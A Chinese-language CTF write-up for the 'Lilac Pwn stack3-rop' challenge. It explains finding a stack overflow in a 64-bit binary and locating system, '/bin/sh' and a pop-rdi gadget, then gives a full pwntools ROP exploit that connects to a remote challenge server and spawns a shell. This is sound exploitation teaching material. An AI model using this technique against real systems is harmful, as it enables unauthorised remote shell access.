题目链接

Lilac Pwn stack3-rop Writeup

文件类型是 64 位 ELF。

Lilac Pwn stack3-rop Writeup

开了 NX 保护。

用 IDA64 查看一下:

Lilac Pwn stack3-rop Writeup

可以看到可以栈溢出。

objdump -d stack3 | grep 'plt'

Lilac Pwn stack3-rop Writeup

可以看到有 system 函数,地址为 0x400600。

ROPgadget --binary stack3 --string '/bin/sh'

Lilac Pwn stack3-rop Writeup

可以看到有字符串 "/bin/sh",地址为 0x4008a4。

由于是 64 位,参数先保存在 RDI,RSI,RDX,RCX,R8,R9,然后才是栈。

查看是否有可利用的 gadgets:

ROPgadget --binary stack3 --only 'pop|ret' | grep 'rdi'

Lilac Pwn stack3-rop Writeup

找到一条。

那么可以构造 exp 了:

from pwn import *

# p = process("./stack3")
p = remote("47.94.239.235", 2023)

poprdi_addr = 0x400883
system_addr = 0x400600
binsh_addr = 0x4008a4

payload = b'a' * (0x20 + 0x8) + p64(poprdi_addr) + p64(binsh_addr) + p64(system_addr)

p.sendline(payload)

p.interactive()

Lilac Pwn stack3-rop Writeup

可以看到成功拿到 shell。

相关文章:

  • 2021-06-03
  • 2022-12-23
  • 2021-12-29
  • 2021-05-09
  • 2021-06-28
  • 2022-12-23
  • 2022-12-23
猜你喜欢
  • 2021-11-06
  • 2021-08-11
  • 2022-01-15
  • 2021-05-30
  • 2021-09-15
  • 2021-12-05
  • 2021-05-13
相关资源
相似解决方案